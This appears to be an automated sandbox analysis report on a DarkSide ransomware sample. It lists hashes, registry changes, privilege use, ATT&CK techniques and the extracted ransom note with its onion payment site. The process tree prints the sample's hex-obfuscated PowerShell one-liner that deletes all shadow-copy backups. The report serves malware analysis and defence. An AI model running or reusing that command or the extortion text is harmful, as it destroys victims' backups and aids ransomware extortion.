darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

28-07-2024 16:38

240728-t5tryssgmm 10

07-07-2024 14:07

240707-rfgd8atekm 10

07-07-2024 14:07

240707-re689awdpe 10

13-09-2022 17:54

220913-wg1lpsgbg7 10

Analysis

max time kernel
837s
max time network
847s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
07-07-2024 14:07

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Report Analysis Logs

General

Target

RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.9eb5b025.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (139) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\9eb5b025.BMP"	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\9eb5b025.BMP"	DarkSide_16_01_2021_59KB.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_16_01_2021_59KB.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\9eb5b025	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\9eb5b025\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\9eb5b025.ico"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.9eb5b025	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.9eb5b025\ = "9eb5b025"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\9eb5b025\DefaultIcon	DarkSide_16_01_2021_59KB.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2260	powershell.exe
1684	DarkSide_16_01_2021_59KB.exe
1684	DarkSide_16_01_2021_59KB.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeSecurityPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeTakeOwnershipPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeLoadDriverPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeSystemProfilePrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeSystemtimePrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeProfSingleProcessPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeIncBasePriorityPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeCreatePagefilePrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeBackupPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeRestorePrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeShutdownPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeSystemEnvironmentPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeRemoteShutdownPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeUndockPrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: SeManageVolumePrivilege	1684	DarkSide_16_01_2021_59KB.exe
Token: 33	1684	DarkSide_16_01_2021_59KB.exe
Token: 34	1684	DarkSide_16_01_2021_59KB.exe
Token: 35	1684	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeBackupPrivilege	2568	vssvc.exe
Token: SeRestorePrivilege	2568	vssvc.exe
Token: SeAuditPrivilege	2568	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 2260	1684	DarkSide_16_01_2021_59KB.exe	28
PID 1684 wrote to memory of 2260	1684	DarkSide_16_01_2021_59KB.exe	28
PID 1684 wrote to memory of 2260	1684	DarkSide_16_01_2021_59KB.exe	28
PID 1684 wrote to memory of 2260	1684	DarkSide_16_01_2021_59KB.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
422592a1ae1934dea67fcf2bd843d5d1

SHA1
f14d835d0da17ef45192691b8b4319b7aeed20ef

SHA256
15d123ce3d6c9750ba04ea88fbe0f2ea1aa395d25bc5a6e181d12b1688c29b3c

SHA512
c490c54ecc4e244b2d7019e0a357459f6fbac80ae8b805b9159e33b9eebc4bdaf25fe522323ddc63cd0e442422506bb7e7f19d417db20a24a8c7edbea114cb2c

Download Submit
C:\Users\Admin\README.9eb5b025.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/2260-5-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

Filesize
4KB

Download
memory/2260-6-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2260-7-0x00000000026A0000-0x00000000026A8000-memory.dmp

Filesize
32KB

Download
memory/2260-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2260-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2260-10-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2260-11-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2260-12-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2260-13-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download